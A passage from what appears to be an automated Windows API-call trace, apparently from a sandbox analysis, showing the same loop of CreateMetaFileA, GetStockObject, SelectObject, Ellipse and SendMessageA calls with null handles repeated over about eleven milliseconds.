wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.764] CreateMetaFileA (pszFile="") returned 0x0 [0033.764] GetStockObject (i=4) returned 0x1900011 [0033.764] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.765] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.765] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.765] CreateMetaFileA (pszFile="") returned 0x0 [0033.765] GetStockObject (i=4) returned 0x1900011 [0033.765] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.765] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.765] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.765] CreateMetaFileA (pszFile="") returned 0x0 [0033.765] GetStockObject (i=4) returned 0x1900011 [0033.765] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.765] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.765] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.765] CreateMetaFileA (pszFile="") returned 0x0 [0033.765] GetStockObject (i=4) returned 0x1900011 [0033.765] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.765] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.765] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.765] CreateMetaFileA (pszFile="") returned 0x0 [0033.765] GetStockObject (i=4) returned 0x1900011 [0033.765] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.765] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.765] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.765] CreateMetaFileA (pszFile="") returned 0x0 [0033.765] GetStockObject (i=4) returned 0x1900011 [0033.765] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.765] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.765] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.765] CreateMetaFileA (pszFile="") returned 0x0 [0033.765] GetStockObject (i=4) returned 0x1900011 [0033.765] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.765] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.765] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.765] CreateMetaFileA (pszFile="") returned 0x0 [0033.765] GetStockObject (i=4) returned 0x1900011 [0033.765] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.765] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.765] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.766] CreateMetaFileA (pszFile="") returned 0x0 [0033.766] GetStockObject (i=4) returned 0x1900011 [0033.766] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.766] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.766] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.766] CreateMetaFileA (pszFile="") returned 0x0 [0033.766] GetStockObject (i=4) returned 0x1900011 [0033.766] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.766] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.766] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.766] CreateMetaFileA (pszFile="") returned 0x0 [0033.766] GetStockObject (i=4) returned 0x1900011 [0033.766] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.766] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.766] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.766] CreateMetaFileA (pszFile="") returned 0x0 [0033.766] GetStockObject (i=4) returned 0x1900011 [0033.766] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.766] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.766] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.766] CreateMetaFileA (pszFile="") returned 0x0 [0033.766] GetStockObject (i=4) returned 0x1900011 [0033.766] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.766] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.766] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.766] CreateMetaFileA (pszFile="") returned 0x0 [0033.766] GetStockObject (i=4) returned 0x1900011 [0033.766] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.766] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.766] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.766] CreateMetaFileA (pszFile="") returned 0x0 [0033.766] GetStockObject (i=4) returned 0x1900011 [0033.766] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.766] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.766] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.766] CreateMetaFileA (pszFile="") returned 0x0 [0033.766] GetStockObject (i=4) returned 0x1900011 [0033.766] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.767] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.767] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.767] CreateMetaFileA (pszFile="") returned 0x0 [0033.767] GetStockObject (i=4) returned 0x1900011 [0033.767] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.767] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.767] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.767] CreateMetaFileA (pszFile="") returned 0x0 [0033.767] GetStockObject (i=4) returned 0x1900011 [0033.767] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.767] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.767] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.767] CreateMetaFileA (pszFile="") returned 0x0 [0033.767] GetStockObject (i=4) returned 0x1900011 [0033.767] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.767] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.767] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.767] CreateMetaFileA (pszFile="") returned 0x0 [0033.767] GetStockObject (i=4) returned 0x1900011 [0033.767] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.767] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.767] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.767] CreateMetaFileA (pszFile="") returned 0x0 [0033.767] GetStockObject (i=4) returned 0x1900011 [0033.767] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.767] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.767] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.767] CreateMetaFileA (pszFile="") returned 0x0 [0033.767] GetStockObject (i=4) returned 0x1900011 [0033.767] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.767] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.767] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.767] CreateMetaFileA (pszFile="") returned 0x0 [0033.767] GetStockObject (i=4) returned 0x1900011 [0033.767] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.767] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.767] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.767] CreateMetaFileA (pszFile="") returned 0x0 [0033.767] GetStockObject (i=4) returned 0x1900011 [0033.767] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.768] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.768] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.768] CreateMetaFileA (pszFile="") returned 0x0 [0033.768] GetStockObject (i=4) returned 0x1900011 [0033.768] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.768] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.768] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.768] CreateMetaFileA (pszFile="") returned 0x0 [0033.768] GetStockObject (i=4) returned 0x1900011 [0033.768] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.768] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.768] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.768] CreateMetaFileA (pszFile="") returned 0x0 [0033.768] GetStockObject (i=4) returned 0x1900011 [0033.768] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.768] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.768] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.768] CreateMetaFileA (pszFile="") returned 0x0 [0033.768] GetStockObject (i=4) returned 0x1900011 [0033.768] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.768] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.768] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.768] CreateMetaFileA (pszFile="") returned 0x0 [0033.768] GetStockObject (i=4) returned 0x1900011 [0033.768] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.768] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.768] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.768] CreateMetaFileA (pszFile="") returned 0x0 [0033.768] GetStockObject (i=4) returned 0x1900011 [0033.768] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.769] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.769] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.769] CreateMetaFileA (pszFile="") returned 0x0 [0033.769] GetStockObject (i=4) returned 0x1900011 [0033.769] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.769] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.769] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.769] CreateMetaFileA (pszFile="") returned 0x0 [0033.769] GetStockObject (i=4) returned 0x1900011 [0033.769] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.769] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.769] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.769] CreateMetaFileA (pszFile="") returned 0x0 [0033.769] GetStockObject (i=4) returned 0x1900011 [0033.769] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.769] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.769] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.769] CreateMetaFileA (pszFile="") returned 0x0 [0033.769] GetStockObject (i=4) returned 0x1900011 [0033.769] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.769] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.769] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.769] CreateMetaFileA (pszFile="") returned 0x0 [0033.769] GetStockObject (i=4) returned 0x1900011 [0033.769] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.769] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.769] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.769] CreateMetaFileA (pszFile="") returned 0x0 [0033.769] GetStockObject (i=4) returned 0x1900011 [0033.769] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.769] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.769] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.769] CreateMetaFileA (pszFile="") returned 0x0 [0033.769] GetStockObject (i=4) returned 0x1900011 [0033.769] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.769] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.769] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.769] CreateMetaFileA (pszFile="") returned 0x0 [0033.770] GetStockObject (i=4) returned 0x1900011 [0033.770] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.770] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.770] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.770] CreateMetaFileA (pszFile="") returned 0x0 [0033.770] GetStockObject (i=4) returned 0x1900011 [0033.770] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.770] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.770] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.770] CreateMetaFileA (pszFile="") returned 0x0 [0033.770] GetStockObject (i=4) returned 0x1900011 [0033.770] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.770] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.770] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.770] CreateMetaFileA (pszFile="") returned 0x0 [0033.770] GetStockObject (i=4) returned 0x1900011 [0033.770] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.770] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.770] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.770] CreateMetaFileA (pszFile="") returned 0x0 [0033.770] GetStockObject (i=4) returned 0x1900011 [0033.770] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.770] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.770] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.770] CreateMetaFileA (pszFile="") returned 0x0 [0033.770] GetStockObject (i=4) returned 0x1900011 [0033.770] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.770] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.770] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.770] CreateMetaFileA (pszFile="") returned 0x0 [0033.770] GetStockObject (i=4) returned 0x1900011 [0033.770] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.770] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.770] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.770] CreateMetaFileA (pszFile="") returned 0x0 [0033.770] GetStockObject (i=4) returned 0x1900011 [0033.770] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.770] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.771] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.771] CreateMetaFileA (pszFile="") returned 0x0 [0033.771] GetStockObject (i=4) returned 0x1900011 [0033.771] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.771] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.771] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.771] CreateMetaFileA (pszFile="") returned 0x0 [0033.771] GetStockObject (i=4) returned 0x1900011 [0033.771] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.771] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.771] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.771] CreateMetaFileA (pszFile="") returned 0x0 [0033.771] GetStockObject (i=4) returned 0x1900011 [0033.771] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.771] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.771] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.771] CreateMetaFileA (pszFile="") returned 0x0 [0033.771] GetStockObject (i=4) returned 0x1900011 [0033.771] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.771] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.771] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.771] CreateMetaFileA (pszFile="") returned 0x0 [0033.771] GetStockObject (i=4) returned 0x1900011 [0033.771] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.771] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.771] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.771] CreateMetaFileA (pszFile="") returned 0x0 [0033.771] GetStockObject (i=4) returned 0x1900011 [0033.771] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.771] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.771] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.771] CreateMetaFileA (pszFile="") returned 0x0 [0033.771] GetStockObject (i=4) returned 0x1900011 [0033.771] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.771] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.771] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.771] CreateMetaFileA (pszFile="") returned 0x0 [0033.771] GetStockObject (i=4) returned 0x1900011 [0033.771] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.771] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.772] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.772] CreateMetaFileA (pszFile="") returned 0x0 [0033.772] GetStockObject (i=4) returned 0x1900011 [0033.772] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.772] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.772] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.772] CreateMetaFileA (pszFile="") returned 0x0 [0033.772] GetStockObject (i=4) returned 0x1900011 [0033.772] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.772] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.772] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.772] CreateMetaFileA (pszFile="") returned 0x0 [0033.772] GetStockObject (i=4) returned 0x1900011 [0033.772] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.772] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.772] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.772] CreateMetaFileA (pszFile="") returned 0x0 [0033.772] GetStockObject (i=4) returned 0x1900011 [0033.772] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.772] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.772] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.772] CreateMetaFileA (pszFile="") returned 0x0 [0033.772] GetStockObject (i=4) returned 0x1900011 [0033.772] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.772] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.772] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.772] CreateMetaFileA (pszFile="") returned 0x0 [0033.772] GetStockObject (i=4) returned 0x1900011 [0033.772] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.772] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.772] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.772] CreateMetaFileA (pszFile="") returned 0x0 [0033.772] GetStockObject (i=4) returned 0x1900011 [0033.772] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.772] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.772] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.772] CreateMetaFileA (pszFile="") returned 0x0 [0033.772] GetStockObject (i=4) returned 0x1900011 [0033.773] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.773] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.773] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.773] CreateMetaFileA (pszFile="") returned 0x0 [0033.773] GetStockObject (i=4) returned 0x1900011 [0033.773] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.773] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.773] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.773] CreateMetaFileA (pszFile="") returned 0x0 [0033.773] GetStockObject (i=4) returned 0x1900011 [0033.773] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.773] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.773] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.773] CreateMetaFileA (pszFile="") returned 0x0 [0033.773] GetStockObject (i=4) returned 0x1900011 [0033.773] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.773] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.773] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.773] CreateMetaFileA (pszFile="") returned 0x0 [0033.773] GetStockObject (i=4) returned 0x1900011 [0033.773] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.773] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.773] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.773] CreateMetaFileA (pszFile="") returned 0x0 [0033.773] GetStockObject (i=4) returned 0x1900011 [0033.773] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.773] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.773] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.773] CreateMetaFileA (pszFile="") returned 0x0 [0033.773] GetStockObject (i=4) returned 0x1900011 [0033.773] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.773] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.773] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.773] CreateMetaFileA (pszFile="") returned 0x0 [0033.773] GetStockObject (i=4) returned 0x1900011 [0033.773] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.773] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.774] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.774] CreateMetaFileA (pszFile="") returned 0x0 [0033.774] GetStockObject (i=4) returned 0x1900011 [0033.774] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.774] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.774] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.774] CreateMetaFileA (pszFile="") returned 0x0 [0033.774] GetStockObject (i=4) returned 0x1900011 [0033.774] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.774] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.774] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.774] CreateMetaFileA (pszFile="") returned 0x0 [0033.774] GetStockObject (i=4) returned 0x1900011 [0033.774] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.774] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.774] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.774] CreateMetaFileA (pszFile="") returned 0x0 [0033.774] GetStockObject (i=4) returned 0x1900011 [0033.774] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.774] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.774] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.774] CreateMetaFileA (pszFile="") returned 0x0 [0033.774] GetStockObject (i=4) returned 0x1900011 [0033.774] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.774] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.774] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.774] CreateMetaFileA (pszFile="") returned 0x0 [0033.774] GetStockObject (i=4) returned 0x1900011 [0033.774] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.774] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.774] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.774] CreateMetaFileA (pszFile="") returned 0x0 [0033.774] GetStockObject (i=4) returned 0x1900011 [0033.774] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.774] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.774] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.774] CreateMetaFileA (pszFile="") returned 0x0 [0033.774] GetStockObject (i=4) returned 0x1900011 [0033.775] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.775] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.775] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.775] CreateMetaFileA (pszFile="") returned 0x0 [0033.775] GetStockObject (i=4) returned 0x1900011 [0033.775] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.775] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.775] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.775] CreateMetaFileA (pszFile="") returned 0x0 [0033.775] GetStockObject (i=4) returned 0x1900011 [0033.775] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.775] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.775] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.775] CreateMetaFileA (pszFile="") returned 0x0 [0033.775] GetStockObject (i=4) returned 0x1900011 [0033.775] SelectObject (hdc=0x0, h=0x1900011) returned 0x0 [0033.775] Ellipse (hdc=0x0, left=0, top=0, right=0, bottom=0) returned 0 [0033.775] SendMessageA (hWnd=0x0, Msg=0x220, wParam=0x0, lParam=0x4ae948) returned 0x0 [0033.775] CreateMetaFileA (pszFile="") returned 0x0 [0033.775] GetStockObject 